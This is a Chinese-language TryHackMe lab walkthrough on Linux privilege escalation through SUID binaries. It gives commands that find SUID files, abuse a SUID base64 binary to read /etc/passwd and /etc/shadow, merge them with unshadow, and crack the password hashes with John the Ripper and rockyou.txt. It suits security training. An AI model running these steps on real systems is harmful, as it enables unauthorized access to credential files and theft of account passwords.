SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行
find / -type f -perm -04000 -ls 2>/dev/null
将列出设置了 SUID 或 SGID 位的文件:

一个好的做法是将此列表中的可执行文件与 GTFOBins ( https://gtfobins.github.io ) 进行比较。
GTFOBins 是一个精选的 Unix 二进制文件列表,可用于绕过错误配置系统中的本地安全限制。
该项目收集了可被滥用的 Unix 二进制文件的合法功能打破受限的 shell,升级或维护提升的特权,传输文件,生成绑定和反向 shell,并促进其他后期开发任务。
trhackme 提权 suid:
从上个步骤找到 路径下有base64,从下列网站找用法
https://gtfobins.github.io/gtfobins/base64/#suid查看用法。
1.LFILE=/etc/passwd

2.输入下列命令(在被攻击机),前面的路径在第一条命令展示的数据中。
/usr/bin/base64 "$LFILE" | base64 --decode
将列出来的结果放到passwd.txt(攻击机)中
3.同样的方式,处理/etc/shadow,LFILE=/etc/shadow
/usr/bin/base64 “$LFILE” | base64 –decode
把结果放到shadow.txt中(攻击机)
接下来使用unshadow工具
在攻击机打开终端,路径在passwd.txt同一个位置,输入:
unshadow passwd.txt shadow.txt > passwords.txt

github下载好rockyou.txt后,输入命令(攻击机):
sudo john passwords.txt -wordlist=rockyou.txt
尝试爆破哈希,如下图成功爆破靶场的账户密码。

tryhackme的flag3.txt为啥也能用这个?除了root用户都不能cat这个文件,为啥直接用base64的思路,如果他不是base64加密的呢?
